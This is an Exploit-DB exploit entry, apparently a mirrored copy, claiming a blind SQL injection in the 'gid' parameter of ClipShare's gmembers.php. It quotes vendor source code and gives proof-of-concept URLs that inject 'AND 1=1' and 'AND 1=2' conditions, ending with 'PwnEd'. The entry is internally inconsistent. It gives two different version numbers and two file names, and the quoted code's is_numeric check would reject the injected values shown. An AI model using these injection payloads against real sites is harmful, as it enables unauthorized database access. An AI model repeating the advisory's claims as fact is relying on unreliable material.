ClipShare 4.1.1 – ‘gid’ Blind SQL Injection

• Exploit Database
• 10 阅读

• 作者： Esac
  日期： 2013-03-25
• 类别：

  • webapps
  平台：

  • php
• 来源：https://www.exploit-db.com/exploits/24881/

• # Exploit Title: ClipShare 4.1.1 (gmembers.php) Blind SQL Injection Vulnerability
  # Exploit Author: Esac
  # Vulnerable Software: ClipShare - Video Sharing Community Script 4.1.4
  # Official site: http://www.clip-share.com
  # Software License: Commercial.
  #all versions are vulnerable:
  #Note : this vulnerable work just if there is a group added to the community 
  #Last Checked: 24 March 2013
  
  #to exploit this vulnerability MAGIC_QUOTES_GPC directive must be turned off on server side.(php.ini)
  
  ==============================================================================================
  
  #Vulnerable Script:
  PHP script : members.phpon line 23 
  
  =========================== BEGIN OF gmembers.php =============================================
  
  <?php
  /************************************************************************************************
  | Software Name: ClipShare - Video Sharing Community Script
  | Software Author: Clip-Share.Com / ScriptXperts.Com
  | Website: http://www.clip-share.com
  | E-mail : office@clip-share.com
  |**************************************************************************************************
  | This source file is subject to the ClipShare End-User License Agreement, available online at:
  | http://www.clip-share.com/video-sharing-script-eula.html
  | By using this software, you acknowledge having read this Agreement and agree to be bound thereby.
  |**************************************************************************************************
  | Copyright (c) 2006-2007 Clip-Share.com. All rights reserved.
  |**************************************************************************************************/
  
  require('include/config.php');
  require('include/function.php');
  require('classes/pagination.class.php');
  require('language/' .$_SESSION['language']. '/gmembers.lang.php');
  
  $gname= NULL;
  $gurl = NULL;
  $oid= NULL;
  $gid= ( isset($_REQUEST['gid']) && is_numeric($_REQUEST['gid']) ) ? mysql_real_escape_string($_REQUEST['gid']) : NULL;
  $sql= "SELECT * FROM group_own WHERE GID='" .$gid. "' limit 1";
  $rs = $conn->execute($sql);
  if ( $conn->Affected_Rows() == 1 ) {
  $urlkey = $rs->fields['gurl'];
  $gname= $rs->fields['gname'];
  $gupload= $rs->fields['gupload'];
  $oid= $rs->fields['OID'];
  STemplate::assign('gname', $gname);
  STemplate::assign('gurl', $urlkey);
  STemplate::assign('gupload', $gupload);
  } else {
  session_write_close();
  header('Location: ' .$config['BASE_URL']. '/error.php?type=group_missing');
  die();
  }
  ...........................................;
  ...............................................
   
  ?>
  
  ============================================================================================================
  
  
   
  Poc :
  
  http://server/mavideo/gmembers.php?gid=6 [Blind SQLi]
  
  Real exploitation :
  
   http://server/mavideo/gmembers.php?gid=6 AND 1=1
  ==> return normal page
  
  http://server/mavideo/gmembers.php?gid=6 AND 1=2
  ==> return page with some errors ( or with nothing - white page )
  
  
  
  --------------------------------------------------------------------------------------
  PwnEd.
  Tested version:
  Sunday , March 24, 2013 | Version: 4.1.4 | Username: admin | Logout
  Copyright © 2006-2008 ClipShare. All rights reserved.
  
  ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
  
  Greetz : White Tarbouch Team
  
  ./Esac